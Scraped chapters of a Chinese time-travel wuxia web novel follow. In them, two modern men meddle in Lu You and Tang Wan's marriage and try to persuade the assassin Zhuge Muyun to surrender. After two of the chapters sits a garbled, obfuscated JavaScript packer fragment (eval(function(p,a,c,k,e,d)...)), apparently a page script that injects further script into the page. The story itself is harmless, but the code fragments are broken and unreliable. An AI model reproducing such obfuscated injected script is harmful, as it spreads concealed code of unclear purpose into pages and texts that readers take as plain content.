推开房门,在漆黑的屋里摸索一番才发现,客房里竟是空空荡荡。 李小谦去了哪里? 我莫名的一阵紧张,自从李小谦上次不告而别之后,我竟有些担心相似的情景会再次上演。 我慌忙提了一盏灯笼,走出客栈。此时已是宵禁,街面上空无一人。除了打更郎高亢的叫喊声,便只剩下晚风吹过街巷的呜呜声。 我站在街上茫然四顾,竟在街上的拐角处发现一道枯黄的亮影闪过。那提灯笼的背影像极了李小谦。 他要去哪里? 我快步追了上去。李小谦的速度一向很快,我一路紧追,竟然还是追丢了。 正要转头回去时,忽然一个熟悉的宅院映入我的眼帘。高高挂起的两盏红灯照亮了中间的一块匾牌。 陆府! 这是陆游的家! 莫非李小谦深夜出门,是来找陆游的?可他为什么不叫上我一起呢? 我 的心情顿时有些低落,心里一阵酸涩。我漫无目的的在陆府周边闲逛,犹豫着到底要不要进去。 突然,陆府侧门处传来一声“吱呀”的开门声。 “唐婉!” 这是李小谦的声音!我缓缓停下脚步,侧而倾听。 “你怎么来了?”一阵温柔而又熟悉的女声,“找我何事?” 李小谦说:“没什么,我只是想你了,过来看看。” 唐婉的声音带着愤怒:“你若再说这些轻薄的胡话,我这便回去了!” “别走!”李小谦叫道,“你,你近来可好吗?” 唐婉似乎是沉默了,许久之后,她用一种幽怨地语气回答:“好与不好又如何。既然我已经嫁给陆郎,无论好与不好,都是我的命。” 李小谦有些着急:“我就知道会是这样。你大婚之前我便劝过你,你们在一起不会有好结果的。你偏偏不听……” “住口!”唐婉怒道,“我这一生心里只有陆郎一人,无论结果如何,我无怨无悔。你休要再胡言乱语。” “等等!”李小谦喊道,“你,你跟我走吧!既然过得不幸福,何必苦苦支撑?!天涯海角,我会好好待你!” “咣当”一声,门被重重地摔上了。李小谦悲情地念着:“晓风干,泪痕残……怕人寻问,咽泪装欢……唐婉,这首词我在大学里背了千遍万遍,我明知道这样的结局,我却什么也改变不了……” 忽然,拐角处一亮,李小谦低着的灯笼随着他身体猛然一抖,掉落在地上。 “我靠!”李小谦慌乱地抹着眼间,“你什么时候来的?!” 我说:“我一路跟过来的。” 李小谦迟疑地问:“你……都听到了?” 我点了点头。李小谦急忙说:“绝对不可以对陆游说!” 我说:“好!” 李小谦似乎觉得还不够,又补充了一句:“对别人也不能说!” 我问:“对娄姐也不能说吗?” 李小谦叫道:“对!不能说!对谁也不能说!” 我问:“对你呢?” 李小谦吼道:“别跟我提这件事!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第一百零一章 追查 绍兴知府被杀一事已到了不得不解决的紧要关头。江湖上的气氛骤然之间变得十分紧张。 到达绍兴的第二日,我们便接到了括苍派掌门陈伯洋的飞鸽传书。 陈伯洋说,十七路兵马已入驻江湖各大门派,对各大门派高手一一审问。如今,各大门派怨声载道。尤其是福建双刀门的管天下,他公然抵抗朝廷的审查,双方剑拔弩张,大战一触即发。 我问李小谦:“江湖人都知道是残云会杀了绍兴知府,为何不向朝廷说明情况?” 李小谦说:“不是没有说明,只是说明了也没有意义。” 我不解,问:“为什么没有意义?朝廷只要知道了此事是残云会所为,他们便会放过各大门派,只去调查残云会了。” 李小谦说:“你以为朝廷会不知道是谁杀了绍兴知府?” 我说:“你的意思是,朝廷已经知道了?那他们为什么还要这么做?” 李小谦说:“因为绍兴知府被杀一案,凶手到底是谁并不重要,重要的是他们找到了一个入驻各大门派的好借口。你明白吗?” 我说:“不明白。” 李小谦无奈地叹息了一声,说:“这个时候,即便是有人告诉朝廷,说是残云会杀了绍兴知府,朝廷也可以不听、不信,他们可以以没有证据为由继续调查各大门派,朝廷的意思是要派军入驻各大门派,别人对他说什么都没有意义。除非......” 我忙问:“除非什么?” 李小谦边走边思索,忽然脚步一停,对我说:“除非,李莫残与诸葛暮云拿着确凿的证据去自首,彻底堵住朝廷的借口!” “万万不可!”一直沉默不语的陈有风豁然站了起来,他毕恭毕敬地对我行礼,说,“盟主,李莫残与诸葛暮云乃是双刀门门主的同门,据说感情颇为深厚。双刀门位列十大门派之一,实力不容小觑,他一向对朝廷意见颇深,若化解此事以牺牲李莫残与诸葛暮云二人为代价,只怕管门主不会善罢甘休的!” 他说得似乎也很有道理,但想起管天下之前对我的态度以及他那张令人生厌的脸,我便忍不住想要忽略他的感受。 这时,李小谦的一句话起了推波助澜的作用。他说:“难道为了一个管天下,就要牺牲掉整个武林?况且这样的事他们既然敢做,为何却要让整个武林为他们承担后果?” 陈有风沉默了许久,缓缓点头,说:“看来,也只好如此了!” 我一拍桌子,当即敲定:“就让李莫残与诸葛暮云两人去自首!” “恐怕不会那么容易。”柳无风从门外走了进来,他说,“刺杀朝廷命官, 这可是要杀头的大罪,你以为,他们真的肯去自首吗?” 我怒道:“我以武林盟主身份命令他们去!” 柳无风轻蔑地一笑,说:“武林盟主算什么东西,只怕不会比他们的命更值钱。” “砰!” 陈有风一脚将椅子踢倒,指着柳无风吼道:“你也是盟主的手下,竟然毫无尊卑之分,敢这样侮辱盟主。你侮辱盟主便是侮辱江湖武林,侮辱江湖武林便是侮辱我括苍派,侮辱括苍派便是侮辱了我师父,侮辱我师父便是侮辱了我!” 他说得铿锵有力,一脚又踢翻了一张椅子,叫道:“狂徒,你敢侮辱我!” “哐啷”一声,他抽出了腰间的佩刀,拉着柳无风的胳膊,吼道:“走,你跟我出去!” 柳无风问:“去哪?” 陈有风吼着:“到外面,一较高下!” 柳无风说:“去就去,莫不是怕了你不成?!” 说罢,两个人瞪着眼睛向院子中走去。 这还是我认识的陈有风吗?为了这样一句话,他竟然如此暴躁,全然不是以往谦和有礼的君子姿态。 我说:“快出去看看!” 刚迈出一步,却被李小谦一把拉了回来。李小谦说:“有什么好看的!” 我说:“他俩打起来了,我想看看他俩谁更厉害。” 李小谦说:“有风无风自有老天做主。我们现在有更重要的事情要做,赶紧走,不要辜负了陈兄弟的好意。” 陈有风的好意? 我问:“什么意思?” 李小谦拉着我向后门走去,边走边说:“陈有风是故意纠缠柳无风的,好让我们有机会脱身去办正事。” 我还是不太明白,便问李小谦:“为什么要缠住柳无风?” 李小谦连连叹气,说:“傻兄弟啊!那柳无风是皇上的人,他不会让你去找李莫残与诸葛暮云的,快走吧,再不走就来不及了。” 李小谦带着我从后门拐出,一阵快跑窜入小巷之中。李小谦趴在墙角,向着街上张望一番,说:“好极了,柳无风没追上了来。” 我说:“接下来要怎么办?” 李小谦说:“如今看来,绍兴府只有一个地方还算安全。” 我问:“哪里?” 李小谦向东一指,说:“陆府!” 我一惊,叫道:“你还要去找唐婉?” 李小谦阴着脸,说:“你能不能不要再提这件事了?!” 陆府,高门阔院,即便是在富庶的绍兴府,也算是数得上的人家。 陆游曾说过,他家祖上三代为官,祖业殷实,是江南一带的名门望族。如今到他这一 代,只怕是要逐渐没落了。他一向不耻于朝廷对金妥协投降的政策,宁愿在家舞文弄墨,也不愿入朝为官,与他们同流合污。 然而,他的母亲并不这样想。 陆游说,他外祖父唐翊曾任鸿儒少卿,深得徽宗信任,他母亲的娘家也是当时汴京地位煊赫的大户。陆游十二岁便能作诗文,是山阴一带有名的神童,又因长辈有功,所以十二岁便被封了个登仕郎。虽然算不得什么官职,却也领了朝廷的俸禄。但是,他那心高气傲的母亲仍旧不满意,只盼着陆游能够入朝为官,平步青云,光大陆家的门楣,全然不顾陆游的心思。 我和李小谦准备翻墙进入陆府家后院的时候,正巧听到陆母在呵斥陆游:“之前,本想让你先成家再立业,然你却一心只挂着风花雪月,与婉儿鼓弄诗文,丝毫不将学业放在心上。你如此荒废,怎对得起陆家列祖列宗!” 翻下墙头时,我一不小心踩断了躺在地上一根枯枝,发出“咔”的一声脆响。陆母扭头与我看了个对眼,随即吓得面色惨白,大叫:“快来人啊!有贼人闯入!” 陆游看到是我与李小谦,虽然有些疑惑,到还是慌忙拦住了陆母,说:“母亲大人莫慌,这两位是游儿的朋友。” 陆母怔了怔,随即对着陆游又是一顿呵斥:“你看看,你平日里都交了些什么朋友。去年你大婚之日,一个白乎乎的怪老头满身的江湖匪气,丝毫不懂礼数,在宴席上喝的伶仃大醉,竟然动不动就要飞檐走壁,结果在你大婚之日坠地摔死,险些坏了大吉的日子。如今,又有两个来路不明的鸡鸣狗盗之徒,竟然在白日里堂而皇之的翻墙入院......你,你真是气死我也!”说完,她狠狠地在陆游背上打了两下,满脸都是怒其不争地表情。 李小谦听得直摇头,嘴里发着“啧啧”的声音,说:“这可比我妈厉害多了!” 陆游只顾着作揖赔礼,说:“母亲大人息怒,我这两个朋友都是正道中人。这,这翻墙入院定是有不得已的苦衷,稍后我问明情况,定然带他二人向您赔礼。” 陆母瞥了我俩一眼,说:“不用!我身体不好,受不起!”说罢,她拂袖而去。 “恭送母亲!”陆游的手直到陆母消失在回廊的尽头才缓缓放下,他叹了口气,随即扭头怒气冲冲地盯着我俩,吓得我连连哆嗦了两下。 陆游说:“你们为何放着正门不走,偏偏要翻墙进来?翻墙进来便罢了,为何偏偏赶在母亲训斥我的时候被她撞见。你们真是害苦了我了。”他不听地摇头叹息。 李小谦满脸歉意地说:“我们是为了躲开他人的耳目,从正门进 来太过扎眼了,翻墙实在是迫不得已的,也不知道这么巧,正好撞见阿姨在骂你!” 陆游问:“何为阿姨?” 李小谦连忙解释:“这,这是我们那里对长辈的尊称!” “阿姨?阿姨?”陆游喃喃念着,说,“听上去有些奇怪。” 我拽着陆游,说:“先不要管这些了。你得帮我们。” 陆游问:“你们碰到什么事了?” 我觉得在想陆游求助之前,应当先向陆游重新介绍一下我的新身份。我清了清嗓子,说:“本盟主......” “且慢!”陆游打断我,问,“你说什么?本盟主?” 李小谦咧着嘴,一脸尴尬,嘴里不住地嘀咕:“丢人,太丢人了!” 陆游问:“李兄,姬兄这是何意啊?” 李小谦干笑了两声,说:“这个,姬旦丙啊,现在是武林盟主了!” 我整了整衣襟,感觉自己浑身上下似有光芒散出。陆游用一种惊愕的眼神看着我,说:“姬兄,你是武林盟主?!” 我说:“不错,本盟主......”话刚说了一半,李小谦从背后戳了我一下,小声说:“陆游不是外人,你好好说话!” 我说得不好吗? 陆游呵呵一笑,说:“无妨,无妨。不知两位兄弟这次来绍兴,所为何事?” 我刚想开口,李小谦前抢在我前面,说:“绍兴知府被杀一事,你可听说了?” 陆游一怔,说:“这样大的事,怎么可能没有听说。据传言,此事乃是残云会所为。” 连陆游都知道是残云会杀了绍兴知府。看来,李小谦说得果然不错,朝廷根本就不是在追查绍兴知府被杀案,分明就是借此机会,插手江湖事务。 李小谦点了点头,说:“不错。这件事已不是什么秘密。但如今,朝廷却派了十七路军队分赴各大门派,声称要彻查绍兴知府被杀一案,这十七路军队去了二十几个门派,却唯独没有一路是来绍兴的!。” “哼!”陆游怒道,“项庄舞剑,意在沛公。” 我问:“谁是项庄?沛公又是谁?” 李小谦和陆游同是看向我,同是摇头,叹气。李小谦说:“这不重要。重要的事,旦丙身为武林盟主,这件事,他不能不管。” 陆游点头,说:“不错。虽然,我不知姬兄是如何做了武林盟主。但是,既然身居此位,便不能眼看着朝廷毁了这个江湖。”陆游看着我,继续说道:“姬兄需要我做什么?尽管吩咐!” 我说:“我们要找残云会的李莫残与诸葛暮云二人。” “你们要找那两个杀手?!”陆游惊讶 地问。 李小谦说:“只有找到他俩人,让他们带着雇主的杀人帖去衙门自首,才能化解这场危机。否则,朝廷便会一直以追查凶手为借口,一直在各大门派审查。” 陆游沉思了片刻,说:“这一年,江湖上的事我很少去打探。多年前,残云会鼎盛之时,在绍兴府曾是公开接帖杀人,肆无忌惮。有一段时间残云会在江湖上销声匿迹,不知去了什么地方。若不是绍兴知府被杀,我还不知道,残云会再度重出江湖。” 我说:“你有办法找到他们吗?” 陆游说:“只怕我很难找到,出了这样大的事,只怕他们早已经躲起来了。但我相信有一个人,一定可以帮你。” “什么人?”我问。 陆游说:“我的叔父!” 是陆石! 想到这个名字,那段沉没在我心海已许久的谜团,再次浮了上来。 李小谦看着我,蹙着眉,轻轻地摇头。 我明白他的意思。他不愿意让我再提及圆信被杀之事。虽然我不知道为什么,但这件事他曾阻拦我许多次。 但是,我却又如何能忍得住? 我点了点头,说:“好!我去见你叔父!” 李小谦慌忙制止我,说:“不用!这件事还是拜托陆兄,我们只等着李莫残与诸葛暮云的下落便可。” 我说:“可是……” 李小谦说:“我们不能出陆府,不能被柳无风发现。若他在其中做什么手脚,只怕我们会功亏一篑。” 李小谦说的很严肃。严肃得让我不敢再往下说。但他却拦不住,我继续往下想,这其中到底有什么秘密?为什么所有的人都要拦着我去追查圆信的死因? 陆游似乎并没有发觉我的心思,他说:“你们在我府上安心住下,我这就去通知我的叔父。” 他转身刚走了两步,突然又停了下来,有些歉意地对我们说:“还有一事需要拜托二位。” 我问:“什么事?” 陆游有些为难,他迟疑了片刻,还是开口说:“家母似乎对两位有些误解,还想劳烦两位,随我一同前去赔个不是,以宽慰家母的心情。” 李小谦说:“应当的,应当的。” 陆游说:“劳烦两位了。” 我们三人在陆母的房门前站了半个时辰,她依旧不同意见我们。陆游站在门口苦苦劝解:“母亲,这两位朋友的确是遇到难事,不得已而为之。他们无意让母亲受惊,因而特来致歉。还请母亲大人看,在他们是我陆家客人的份上,开门一见呀!” 陆母毫不领情,房间里传来她略带讥讽的声音:“从正门入是客,翻墙而 入是贼,我不去报官,已经是给了他们莫大的面子,你让他们快些走吧!” 陆游看了我俩一眼,满脸歉意,说:“还是回去吧!” 这时,一个身姿绰约的人影缓步走来,她手上端着一个木盘,一盅精致的白瓷罐中,飘着阵阵白雾。 她看到我,尤其是看到李小谦,表情一滞,满脸错愕。但随即便恢复常态,缓步走了过来。 “婉妹!”陆游温柔地看着她,问,“你身子不适,不在房里歇着,来这里做什么?” 唐婉微微一笑,说:“我听下人说,今天母亲又责备你了,我便亲自下厨为母亲煲了汤,好让她老人家消消气。” 陆游温柔一笑,看着唐婉的眼睛里满是疼惜,说:“辛苦你了!” 唐婉莞尔一笑,轻轻叩响了陆母的房门。 “我都说了,我不见,你快带他们走吧!不要打扰我休息了!”陆母的声音里满是烦躁。 唐婉看了我们一眼,有些茫然,她说:“母亲,我是婉儿,我煲了您爱喝的汤,特地送过来。” 过了片刻,屋里才传来陆母稍稍缓和的声音:“进来吧!” 唐婉轻轻推开房门,又轻轻掩上。 陆游摇头叹息,说:“我们走吧!” 刚刚走出几步,便听到屋里传来陆母的训斥:“身为人妇,你要专心劝导游儿上劲,助他早上考取功名,不要整日把心思花在如何讨好公婆上,更不能只顾着自己的欢愉误了你夫君的前程!” 陆游与李小谦同时回头,看着那道到掩上的房门,听着里面陆母喋喋不休的念叨,两个人的表情出奇地一致。 皆是痛心与怜惜。 “真是苦了婉妹了。”陆游感慨着,语气中充满了自责。 李小谦却没有说话,他怔怔地看着那间房子,一动不动,却不知何时,已紧紧地攥起拳头! (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第一百零二章 暮云 1 在陆府焦急等待了两日。我们接到了陆石的回信。 诸葛暮云在绍兴府以东三十里的静心庵躲避。接到陆石的飞鸽传书,我与李小谦不敢有片刻停歇,当即觉得前往静心庵。 陆游安排好家事,决定与我们一同前去。他从一个书房里精心保管的箱匣中拿出一把泛着淡淡紫光的宝剑。 那是白景行赠与陆游的紫麟剑。 陆游将紫麟剑挂在腰间,回过头,双眼中充斥着兴奋与激动的光彩。就像他手中被封藏已久的紫麟剑一样,因重见天日而流光闪烁。 “走吧!”陆游郑重地说。 我们三人驾马赶到静心庵。那是一座古旧的老庵,低矮的院墙,灰色的木门上还有一个拳头的大小的窟窿。 一个身穿浅棕色僧袍的老尼姑,端着一把破旧的扫帚,正在埋头清扫静心庵门前的几片落叶。一群鸟飞过,落下几颗鸟粪,正好落在老尼姑的跟前。她也不抬头,只是默默地将那些鸟粪与落叶一同扫成一堆。 “大师。”陆游下马,向老尼姑谦和地行礼,问,“敢问诸葛暮云是否在庵中?” 老尼姑并没有抬头,依旧是专注地清扫着地上的那几片落叶。地面上铺砌的青石,被岁月打磨的一片光亮。经她一番清扫,散发着油乎乎地光。 “大师?”陆游轻声试探。 老尼姑一边扫着,一边淡淡地说“静心庵里只有一心向佛的比丘,没有凡俗之人。” 我说“我们得到消息,诸葛暮云就在静心庵中,你快叫她出来。” 老尼姑笑了笑,说“施主,你可否帮老尼一个忙?” 我不解,问“你要我帮你做什么?” 老尼姑停了下来,不再扫地。她看着我,目光柔和,轻声地说“老尼的扫帚有些破旧了,可否送老尼一把新的扫帚?” 我说“我们没有带扫帚。” 老尼姑说“可是老尼听说,你们带了扫帚。” 我说“我真的没有带扫帚啊!” 老尼姑淡淡地一笑,说“那便是了,所谓的消息,看来不可轻信。” 我不明所以,茫然地看着李小谦。他轻轻咳了两声,说“大师,出家人不打诳语。你真的得到消息说,我们带了扫帚吗?” 老尼姑忽然愣住了,她一直平淡的表情变得很难看。许久,她摇了摇头,说“罪过,罪过,老尼说谎了!” 李小谦向我丢了个眼色,说“大师,出家人不打诳语,否则佛祖便会怪罪。请问,诸葛暮云是否在贵庵中躲避啊?” 老尼姑的脸色更难看了,她犹豫不决,嘴唇动了几次,都没 有开口说话。陆游向李小谦投去钦佩的目光,手在腰间,悄悄地向他竖了竖大拇指。 李小谦说“大师,我们并没有恶意,只是想面见诸葛暮云,谈些事情,您可否让我们见她一面啊?” 老尼姑摇了摇头,说“老尼,做不到。” 我一阵着急,冲她大吼“十万火急,快让诸葛暮云出来。” 老尼姑并没有理会我,再次低下了头,默默地扫地。 我还想说什么,却被李小谦拉住了,他向我和陆游使了个眼色,示意我们走。我极不情愿地被李小谦拉扯着,牵着马,拐进了离静心庵不远的树林。 拐入树林中,我怒问李小谦“为什么要拉着我?” 李小谦说“既然诸葛暮云躲在静心庵中,我们迟早会见到她。如果硬闯,恐怕会适得其反。” 陆游说“李兄说得不错。为今之计,我们只能智取,不可硬来。” 我说“万一诸葛暮云跑了呢?” 李小谦说“我们不去硬闯,她不会离开。她既然躲到静心庵来,说明此处对她来说乃是一个安全的藏身之处,不到万不得已,她一定不会轻易离开。” 我问“那我们有什么办法可以见到她?” 李小谦思索了片刻,说“到晚上,我们夜闯静心庵!” 2 入夜,孤月高悬,虽然没有繁星点缀,却把大地照得一片通亮。 我们三人来到静心庵东侧的一处院墙前,那些低矮的院墙不过半人多高,只轻轻一跃,便轻松翻入了静心庵的院内。 蹲在静心庵的院墙下,我想四周张望。静心庵并不大,看上去不过是前后两处庭园。我们所处的恰好是静心庵的后院,北侧与西侧各有两排厢房,东侧只有几件搭起来的木屋,木屋里传来阵阵臭气。我猜,那里应当是静心庵的茅厕。 我问“诸葛暮云在哪?” 李小谦说“我们抓一个尼姑来问问。” 话音刚落,离我们几步远的木屋里“咣啷”响了两声。随即,一个矮胖的尼姑从茅厕中缓步走了出来。 李小谦向我一使眼色,轻声说“就她了。” 说罢,他使出少林派的轻功,踏地无声,迅速接近那个尼姑。黑暗中,我隐约看到李小谦的影子与那矮胖的身影交叠,随即一声惊恐的闷哼,那尼姑便被李小谦按倒在地上。 我心中一阵喜悦,与陆游对视一眼,轻手轻脚地接近李小谦。李小谦捂着那尼姑的嘴,使劲压着嗓子,说“别动!我们仨是采花大盗!” 陆游低吼“李兄,你莫要乱说话,毁了我们的名声!” 月光下 ,那尼姑的眼睛中惊恐万分,死死地瞪着李小谦。 李小谦呸了一声,说“不要用这种眼神看着我。我问你,诸葛暮云在哪?你若不说,我便采了这这盆多肉!” 那尼姑连连摇头,用手指了指西侧一间亮着昏黄光影的屋子。 李小谦抬头看了一眼,说“好!我这就过去看看!如果你敢骗我们,我还是会回来采你的!” 那尼姑又是一阵摇头。 李小谦对陆游说“陆兄,麻烦你点个穴道,叫她先不要动弹。” 陆游犹豫了片刻,叹了口气,用紫麟剑的剑柄在那尼姑的后背上一戳,说“对不住了,小师父!” 我们三人联手,将那矮胖的尼姑拖到墙脚一处隐蔽的地方。将她安置好时,已累得气喘吁吁。李小谦骂道“他娘的,吃得这么胖,累死老子了!” 陆游依旧有些不忍,他连连向那尼姑致歉“先委屈你片刻,稍后我便来解你穴道。抱歉,抱歉!” 李小谦拉了陆游一把,说“别管那些了,我到那个屋里去看看,你们看我手势行事。”说罢,他又使出少林轻功,踏地无声,如鬼魅一般,闪到了西侧那间灯火昏黄的房前。 月光下,我看着李小谦回首向我们轻轻摆手,然后他戳破了那间屋子的窗纸。不知为何,他看了许久都没有再向我们作出任何手势。 我焦急地看着,问陆游“他到底怎么样了?” 陆游的语气中也带着焦急“不知道啊。李兄到底发现了什么?怎么看了这么长时间?” 我说“不如,我们也过去看看?” 陆游迟疑了片刻,他看了一眼坐在地上一动不动的那个矮胖尼姑,说“对不住了,小师父,我去去就来。”说罢,他向我微微一点头,我俩蹑手蹑脚地向着那间屋子缓缓靠近。 “喂!” 走到李小谦身旁,我轻轻拍了他肩膀一下。 万万没想到,李小谦反应奇大,他浑身猛然一抽,“啊”地一声叫了出来。 “什么人?”屋里传来一个女人的怒吼,“敢偷看老娘洗澡,不要命了!” 陆游一听,气得满脸通红,指着李小谦的手在不停地颤抖。他说“李兄啊李兄,没想到你竟然是这种人!” 李小谦慌忙解释“不是,你听我说,我没看见,我什么都没看见!” 话音未落,屋子中一窜出一道绿影。一个貌美的女子从屋子中闪了出来,手中端着一柄短刀,与管天下手持的双刀大小无异。 月光下,她容貌更显得清丽,湿漉漉的头发还滴答着盈盈地水珠,碧绿的衣裳裹不住她香肩之上徐徐升起 的雾气。 她柳眉如剑,怒目圆睁,一柄锋利的短刀直直地指向我们,喝道“哪里来得淫徒浪子?吃了熊心豹子胆,竟敢偷看老娘洗澡!” 我指着李小谦,说“是他看的,我没有!” 李小谦气得双眉乱跳,指着我大叫“姬旦丙,你小子可真不仗义!” 忽然,那女子竟将刀缓缓落了下去,她疑惑地看着我,说“他说,你叫什么?” 我说“我,我”这个名字,总让我难以启齿。 李小谦说“他叫姬旦丙!” 那女子笑了笑,说“你便是信任的武林盟主?” 我顿觉浑身又有光彩散出,挺着腰板,说“不错!正是本盟主!” 那女子冷冷地瞥了李小谦一眼,说“等会儿再找你算账!”随后,她目光柔和地看着我,说“白天,也是你们来找我的?” 我问“你就是诸葛暮云?” 那女子说“不错!诸葛暮云便是我!” 3 各个房间里相继亮起了灯光。十几个尼姑慌乱地从屋里跑了出来。有几个年纪尚轻地尼姑见到我们一阵惊恐地尖叫。 白日里见到的那个扫地的老尼姑轻念着佛号,说“几位施主夜闯静心庵,是不是太过无礼了?” 陆游满脸歉意,向着那个老尼姑致歉“情非得已,还请大师原谅!” 诸葛暮云走到那老尼姑面前,说“大师,这几位是我的朋友,他们夜闯静心庵,扰了佛门清净,都是暮云的过错,还请大师不要怪罪!” 老尼姑点了点头,说“静心庵里都是女徒,几位深夜再次,恐怕不妥,有什么事还请白日再来吧。” 我心想,若白日再来,恐怕她又会在门外向我们要什么扫帚了。我便当即回绝“不行!” 老尼姑一怔,脸上有些不悦之色。她看了一眼诸葛暮云,说“还请你将几个朋友劝走吧。” 诸葛暮云恭敬地向那老尼姑行礼,说“大师放心,我们这就去庵外商议。”说罢,她转身轻声地对我说“出去再说吧!” 陆游连忙打断,说“稍等片刻,我先去为那小师父解了穴道。”他快步跑到东侧墙下,解开那矮胖女尼的穴道。 矮胖尼姑惊恐地抖着浑身的肉膘,尖叫着跑到老尼姑的身后躲了起来,喊道“师父,师父,他们,他们是采花贼!” 老尼姑喝道“休要胡言乱语!” 矮胖尼姑指着李小谦,说“是他,是他说的。他,他还说要采了弟子!” 诸葛暮云愤怒地瞪着李小谦,骂道“无耻淫贼,我今天定然不会 饶了你!”说罢,她的短刀在手里一挥,发出“嗖”的一声劈空之音。 李小谦身子一震抽搐,连连叫苦“我的妈呀!坏人全让我做了!” 4 走出静心庵,又走了莫约百米的距离。诸葛暮云停下脚步,冷冷地瞪了李小谦一眼,李小谦连忙躲到陆游身后,说“你,你不要这么看我,我可不怕你!” 诸葛暮云短刀一挥,叫道“好!我看你有什么本事躲过我的刀!” 李小谦抱头大叫“旦丙,旦丙,你快劝劝她!” 我连忙喊道“住手!他不过只看了一会儿,并不一定看得清楚。” 诸葛暮云脸上怒色更浓,挥着刀便要去砍李小谦。陆游撩起紫麟剑,将她的短刀格挡下来。短刀与紫麟剑的剑鞘在空中一撞,发出“当”的一声脆响。 淡紫色的光在月光下流动,诸葛暮云一怔,慌忙撤回短刀,叫道“紫麟剑!怎么会在你手中?” 陆游有些心疼地看了看剑鞘,片刻之后,才对诸葛暮云说“这是白老前辈的佩剑。我大婚之时,他将此剑赠与我做贺礼。” 诸葛暮云看着我,冷笑了一声,说“难怪你小小年纪会做了武林盟主,看了白景行对你们这些人当真是关照得很。” 我实在不想再与她纠缠无关的话题,便开口问道“绍兴知府是不是你杀的?” 诸葛暮云愣了片刻,忽然笑了起来,她说“现在整个武林都知道了,是我与老鬼杀了绍兴知府,你何必多此一问呢?” 我说“你去自首吧!” 诸葛暮云满脸惊讶,她说“你们深夜赶来这里,便是要劝我去自首?” 我说“不错!只有你自首了,朝廷才不会派兵入驻各大门派。” 诸葛暮云不屑地说“即便是我自首了,朝廷也会有其他的接受去插手各大门派的事务。他们就是要这个江湖消失,岂会因我一人而作罢?” 她一句话说得我不知要如何回答。因为,她说得很有道理。即便是他们自首了,朝廷还会找其他的借口,继续插手江湖上的事。 可是,如果他们不去自首,这场风波要如何才能平息呢? 李小谦躲在陆游的身后,说“虽然,朝廷免不了还会找其他的借口。但是,起码这次可以给各大门派喘息的机会。留得青山在,不怕没柴烧,以后总会有办法的。你若不自首,那这次江湖就完了!” 我连忙呼应,说“不错!就是这样!” 诸葛暮云瞪了李小谦一眼,李小谦立刻缩回陆游身后。陆游说“前辈,陆游是一介文人,不懂江湖上的事。但是,你与李莫残 前辈刺杀绍兴知府,已然犯了朝廷的律法。如今,整个江湖武林都在因你们的事受到牵连。你们真的就忍心看着武林因你二人而蒙难吗?” 我连连点头,说“是啊,你忍心吗?” 诸葛暮云沉默了。她抬起头看着天,孤月的光映在她如水一般的眼眸中,显得十分落寞。许久,诸葛暮云说“那绍兴知府本来也不是什么好人,他鱼肉百姓,横行乡里,本就是该死之人!有人花钱卖命,我们收钱做事,况且做得也是替天行道的正义之事。凭什么最后,却让我和老鬼为那种败类赔上性命?” 陆游说“他多行不义,自有朝廷的律法处置,更有天道与他清算。无论如何,你们都不该收钱杀人。” 诸葛暮云吼道“杀了又如何?老娘就是要杀他!有本事就让朝廷来抓我,休想让我自己把脑袋送给朝廷!” 李小谦从陆游身后探出头来,说“其实你去自首未必就是死路一条。” 诸葛暮云眼中光影一闪,问“你这是什么意思?” 李小谦从陆游身后走了出来,拉着我当在他身前,说“我这个兄弟是武林盟主,和皇上关系不错。你只要去自首,说出买凶的人,他可以去找皇上替你们求情,免去你们的死罪。” 去找皇上求情吗? 想起他那张脸我就觉得一阵紧张。我连忙摆手,说“不行,不行,我不敢去找皇上!” 诸葛暮云脸色突变,喝道“怎么选了你这样的懦夫当着武林盟主?” 李小谦咬着牙,在我耳边轻声地说“你先答应她,不然她不会去自首的!这事就完了!” 我恍然大悟,连连点头,说“我去!我去找皇上求情!” 诸葛暮云疑惑地看着我,问“此话当真?” 我犹豫地扭头去看李小谦,他向我一连眨了几下眼。我连忙说“当真!” 诸葛暮云又一次陷入了沉默。她沉默了许久,说“这事我自己说了不算。我要去找老鬼商议一下。” 我问“老鬼在哪里?” 诸葛暮云眉头一皱,但随即又展开,她说“你们等我消息吧。三日之后子时,城南烟雨亭一见。” 李小谦当即跳出,朗声说道“一言为定!” 诸葛暮云目光阴冷而幽怨地扫了我们一眼,随后,她转身向着静心庵走去。孤冷的月光下,留给我们一个孤冷的碧绿色的背影。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百零三章 赌约 1 三日后,烟雨亭之约。 不知诸葛暮云与李莫残商议得怎样。他们会不会答应我们的要求,去衙门自首,来化解这场武林危机。 李小谦的回答是,肯定不会。 我问,如果他们不去自首,那要怎么办才好? 李小谦只说,他也不知道,只能走一步看一步。 这一步,终究是来了。 深夜子时的烟雨亭,万籁俱寂。周围是深邃可怖的茂密丛林,在深夜里与夜幕连成一片,一眼望不到边际。仿佛是连虫鸟野兽都害怕了这样的环境,不敢在发出一丝的声响。 陆游由于静心庵那夜,夜不归宿,被陆母责罚,在家中抄念家法,不得出门。 无奈之下,我和李小谦只能孤身前来。 这样的环境,尤其是在这样的时辰,着实令我感到毛骨悚然。 我心中惴惴,说“李莫残和诸葛暮云会不会杀了我们?” 李小谦点了点头,说“有可能会。” 我心里更加害怕,说“不如我们还是回去吧。” 李小谦当即回答“我也是这么想的。” “既然来了,又为何想要回去?” 我俩刚要转身,突然在未知的某个地方传来一个尖锐的男子的声音。 我猛地一哆嗦,颤声问道“是谁?” 